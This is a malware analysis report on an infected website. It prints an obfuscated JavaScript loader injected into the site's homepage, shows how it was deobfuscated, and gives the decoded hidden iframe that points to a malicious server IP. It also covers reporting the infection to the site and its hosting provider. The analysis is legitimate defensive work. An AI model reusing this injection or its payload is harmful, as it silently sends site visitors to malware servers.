Oggetto: Analisi infezione sito CISL SCUOLA Trapani
1.1 Executive Summary
Some days ago, the Kaspersky Administration server at a customer site warned us that a malicious IFRAME was blocked inside a page at www.cislscuolatrapani.it.

We began an investigation and found that it was not a false positive: the page was really infected by a malicious IFRAME script redirecting the site visitors to a completely different server/domain located in the Netherlands. According to Trustedsource, this site hosts many malware components.

1.2 Analysis
Our analysis begun with the download of the page at http://www.cislscuolatrapani.it on al local computer ( wget http://www.cislscuolatrapani.it).  The “original” page of the site showed a serendipitous add on at the end (after the original closing html tag):

</body>

</html>
<html>

<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-216-213-225-:8-21:-212-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-227-226-58-216-221-57-::-214-216-74-86-227-212-226-45-43-22:-216-211-227-215-72-5:-43-215-212-216-214-215-227-72-5:-43-226-227-232-219-212-72-45-229-216-226-216-:9-216-219-216-227-232-69-43-215-216-211-211-212-221-45-73-71-58-216-213-225-:8-21:-212-73**<=0tdsjqu?"; 

var result = ""; 

for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);

document.write(result);

</script>

</html>

We then tried to verify what was implicit in this script. To deobfuscate the script, we modified the page source substituting the document.write JavaScript function with a custom documentwrite function. The output was written onto a textarea for further analysis. It was a series of numbers as you can see here: 60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,57,49,46,49,52,50,46,54,52,46,57,49,47,116,115,47,105,110,46,99,103,105,63,75,116,101,115,34,32,119,105,100,116,104,61,49,32,104,101,105,103,104,116,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,32,104,105,100,100,101,110,34,62,60,47,105,102,114,97,109,101,62
To understand the real job of the script, we had to run another deobfuscation:

result1=String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,57,49,46,49,52,50,46,54,52,46,57,49,47,116,115,47,105,110,46,99,103,105,63,75,116,101,115,34,32,119,105,100,116,104,61,49,32,104,101,105,103,104,116,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,32,104,105,100,100,101,110,34,62,60,47,105,102,114,97,109,101,62);

function documentwrite(txt){

 document.write("<textarea rows=5 cols=1250>"); document.write(txt); document.write("</textarea>"); 

}  

documentwrite(result1);
The final result is: “<iframe src=\"http://91.142.64.91/ts/in.cgi?Ktes\" width=1 height=1 style=\"visibility: hidden\"></iframe>".

So the original page of cislscuolatrapani.it has been modified by a malicious script redirecting the site visitors to a server located at IP=91.142.64.91. This IP address belongs to InterXS Colocation Netblock. The server is apparently located in the Netherlands and has a very bad Web reputation: it is ranked as a malicious site.

The hosting provider of cislscuolatrapani.it is Interfree (city: Pisa, Italy), who owns the netblock at 213.158.64.0/19. 
We have already warned the site contact of CISL scuola (Prof. Marino) with an email February 19th. Another email will be sent to the Interfree admin.
The page is there, as yet, unmodified and trojaned with the malicious script. YOU ARE WARNED!
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